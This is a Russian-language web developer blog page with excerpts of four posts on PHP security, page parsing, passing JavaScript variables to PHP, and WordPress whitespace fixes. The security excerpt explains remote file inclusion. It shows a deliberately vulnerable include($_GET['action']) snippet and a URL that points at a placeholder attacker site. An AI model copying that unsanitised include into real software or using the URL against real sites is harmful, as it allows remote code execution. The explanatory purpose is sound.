Web Мастерская»Блог

Сообщество Web Мастеров. Тут собрано всё, чтобы написать свой первый сайт, запустить его в Интернет и поддерживать его в течении всей его работы.

Как предотвратить PHP, SQL и XSS инъекции (Безопасность)

Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.

Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null; 

# Тут какие-то действия
# ...

# Подключаем файл
include($action);

Если ввести такой URL: http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем...

Быстрое копирование информации с Web-страницы (Парсинг на PHP)

PHP
Заметил, что на форумах часто задают вопросы про парсинг сайтов. Решил написать небольшую статью, в которой попытаюсь объяснить азы парсинга и привести некоторые примеры работы с ним.
Итак, начнём с самого начала.

Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.

Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...

Как передать переменную из JavaScript в PHP

В интернете наткнулся на одну статью, где говорилось, как передать переменную с JS в PHP. Автор статьи показывает пример, как это сделать (Внимание: код не верный):
<script type="text/javascript">
<?php $value = ' + value + '; ?>
</script>

Автор гарантирует, что именно так можно передать переменную в PHP. Мне показалось, что я чего то не понял, что возможно автор имел введу, что то другое, но перечитав статью еще раз, понял, что я все правильно понял, что имел введу автор "писанины"!
Ссылаться на эту статью я не буду, называть автора тоже не буду.

Подобные статьи могут завести человека в тупик, так как данная статья рассказывает совершенно о неверном способе передачи переменной с JS в PHP. Меня однажды подобная статья сбила с толку... Если рассуждать логически - PHP работает на стороне сервера и не может быть понятым браузером, а JS выполняется браузером, то есть на компьютере у пользователя и если в браузере будет PHP код, неважно что функция или переменная, он будет...

WordPress: Удаление лишних пробелов и переносов на новую строку в тексте

Мой хороший знакомый в качестве движка для своего блога выбрал WordPress. Выяснилось, что при написании статьи (вкладка редактора "Визуально"), если в конце или в начале текста допустить перенос на новую строку или пробел, то этот перенос пойдет в статью и будет отображаться, как пустое место. Такое "отображение" я называю - "мусор" и для меня важно от таких недоработок избавиться. Что я и постарался сделать для своего знакомого!

Признаюсь, с движком WordPress я не знаком, но проблему решить удалось. Оказалось все просто:
Открываем: wp-includes/post.php, находим:
	$post_content = $postarr['post_content'];

И меняем на:
	$post_content = str_replace('&nbsp;', '', $postarr['post_content']);
	$post_content = trim($post_content);

Теперь с пробелами и переносами в начале и конце статьи покончено!

Еще, лишние переносы на новую строку могут быть внутри самой статьи, например, между абзацами понаставить 10 переносов и текст будет иметь много пустого места, что некрасиво на самом...